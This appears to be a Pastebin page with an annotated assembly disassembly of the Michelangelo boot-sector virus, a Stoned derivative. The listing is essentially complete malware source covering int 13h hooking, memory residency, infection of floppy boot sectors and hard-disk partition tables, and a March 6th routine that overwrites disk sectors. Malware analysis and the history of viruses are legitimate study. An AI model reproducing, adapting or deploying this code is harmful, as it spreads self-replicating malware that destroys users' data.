Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; As you can see, it is a derivative of the Stoned virus. The
- ; junk bytes at the end of the file are probably throwbacks to
- ; the Stoned virus. In any case, it is yet another boot sector
- ; and partition table infector.
- michelangelo segment byte public
- assume cs:michelangelo, ds:michelangelo
- ; Disassembly by Dark Angel of PHALCON/SKISM
- org 0
- jmp entervirus
- highmemjmp db 0F5h, 00h, 80h, 9Fh
- maxhead db 2 ; used by damagestuff
- firstsector dw 3
- oldint13h dd 0C8000256h
- int13h:
- push ds
- push ax
- or dl, dl ; default drive?
- jnz exitint13h ; exit if not
- xor ax, ax
- mov ds, ax
- test byte ptr ds:[43fh], 1 ; disk 0 on?
- jnz exitint13h ; if not spinning, exit
- pop ax
- pop ds
- pushf
- call dword ptr cs:[oldint13h]; first call old int 13h
- pushf
- call infectdisk ; then infect
- popf
- retf 2
- exitint13h: pop ax
- pop ds
- jmp dword ptr cs:[oldint13h]
- infectdisk:
- push ax
- push bx
- push cx
- push dx
- push ds
- push es
- push si
- push di
- push cs
- pop ds
- push cs
- pop es
- mov si, 4
- readbootblock:
- mov ax,201h ; Read boot block to
- mov bx,200h ; after virus
- mov cx,1
- xor dx,dx
- pushf
- call oldint13h
- jnc checkinfect ; continue if no error
- xor ax,ax
- pushf
- call oldint13h ; Reset disk
- dec si ; loop back
- jnz readbootblock
- jmp short quitinfect ; exit if too many failures
- checkinfect:
- xor si,si
- cld
- lodsw
- cmp ax,[bx] ; check if already infected
- jne infectitnow
- lodsw
- cmp ax,[bx+2] ; check again
- je quitinfect
- infectitnow:
- mov ax,301h ; Write old boot block
- mov dh,1 ; to head 1
- mov cl,3 ; sector 3
- cmp byte ptr [bx+15h],0FDh ; 360k disk?
- je is360Kdisk
- mov cl,0Eh
- is360Kdisk:
- mov firstsector,cx
- pushf
- call oldint13h
- jc quitinfect ; exit on error
- mov si,200h+offset partitioninfo
- mov di,offset partitioninfo
- mov cx,21h ; Copy partition table
- cld
- rep movsw
- mov ax,301h ; Write virus to sector 1
- xor bx,bx
- mov cx,1
- xor dx,dx
- pushf
- call oldint13h
- quitinfect:
- pop di
- pop si
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- retn
- entervirus:
- xor ax,ax
- mov ds,ax
- cli
- mov ss,ax
- mov ax,7C00h ; Set stack to just below
- mov sp,ax ; virus load point
- sti
- push ds ; save 0:7C00h on stack for
- push ax ; later retf
- mov ax,ds:[13h*4]
- mov word ptr ds:[7C00h+offset oldint13h],ax
- mov ax,ds:[13h*4+2]
- mov word ptr ds:[7C00h+offset oldint13h+2],ax
- mov ax,ds:[413h] ; memory size in K
- dec ax ; 1024 K
- dec ax
- mov ds:[413h],ax ; move new value in
- mov cl,6
- shl ax,cl ; ax = paragraphs of memory
- mov es,ax ; next line sets seg of jmp
- mov word ptr ds:[7C00h+2+offset highmemjmp],ax
- mov ax,offset int13h
- mov ds:[13h*4],ax
- mov ds:[13h*4+2],es
- mov cx,offset partitioninfo
- mov si,7C00h
- xor di,di
- cld
- rep movsb ; copy to high memory
- ; and transfer control there
- jmp dword ptr cs:[7C00h+offset highmemjmp]
- ; destination of highmem jmp
- xor ax,ax
- mov es,ax
- int 13h ; reset disk
- push cs
- pop ds
- mov ax,201h
- mov bx,7C00h
- mov cx,firstsector
- cmp cx,7 ; hard disk infection?
- jne floppyboot ; if not, do floppies
- mov dx,80h ; Read old partition table of
- int 13h ; first hard disk to 0:7C00h
- jmp short exitvirus
- floppyboot:
- mov cx,firstsector ; read old boot block
- mov dx,100h ; to 0:7C00h
- int 13h
- jc exitvirus
- push cs
- pop es
- mov ax,201h ; read boot block
- mov bx,200h ; of first hard disk
- mov cx,1
- mov dx,80h
- int 13h
- jc exitvirus
- xor si,si
- cld
- lodsw
- cmp ax,[bx] ; is it infected?
- jne infectharddisk ; if not, infect HD
- lodsw ; check infection
- cmp ax,[bx+2]
- jne infectharddisk
- exitvirus:
- xor cx,cx ; Real time clock get date
- mov ah,4 ; dx = mon/day
- int 1Ah
- cmp dx,306h ; March 6th
- je damagestuff
- retf ; return control to original
- ; boot block @ 0:7C00h
- damagestuff:
- xor dx,dx
- mov cx,1
- smashanothersector:
- mov ax,309h
- mov si,firstsector
- cmp si,3
- je smashit
- mov al,0Eh
- cmp si,0Eh
- je smashit
- mov dl,80h ; first hard disk
- mov maxhead,4
- mov al,11h
- smashit:
- mov bx,5000h ; random memory area
- mov es,bx ; at 5000h:5000h
- int 13h ; Write al sectors to drive dl
- jnc skiponerror ; skip on error
- xor ah,ah ; Reset disk drive dl
- int 13h
- skiponerror:
- inc dh ; next head
- cmp dh,maxhead ; 2 if floppy, 4 if HD
- jb smashanothersector
- xor dh,dh ; go to next head/cylinder
- inc ch
- jmp short smashanothersector
- infectharddisk:
- mov cx,7 ; Write partition table to
- mov firstsector,cx ; sector 7
- mov ax,301h
- mov dx,80h
- int 13h
- jc exitvirus
- mov si,200h+offset partitioninfo ; Copy partition
- mov di,offset partitioninfo ; table information
- mov cx,21h
- rep movsw
- mov ax,301h ; Write to sector 8
- xor bx,bx ; Copy virus to sector 1
- inc cl
- int 13h
- ;* jmp short 01E0h
- db 0EBh, 32h ; ?This should crash?
- ; The following bytes are meaningless.
- garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
- partitioninfo: db 42h dup (0)
- michelangelo ends
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement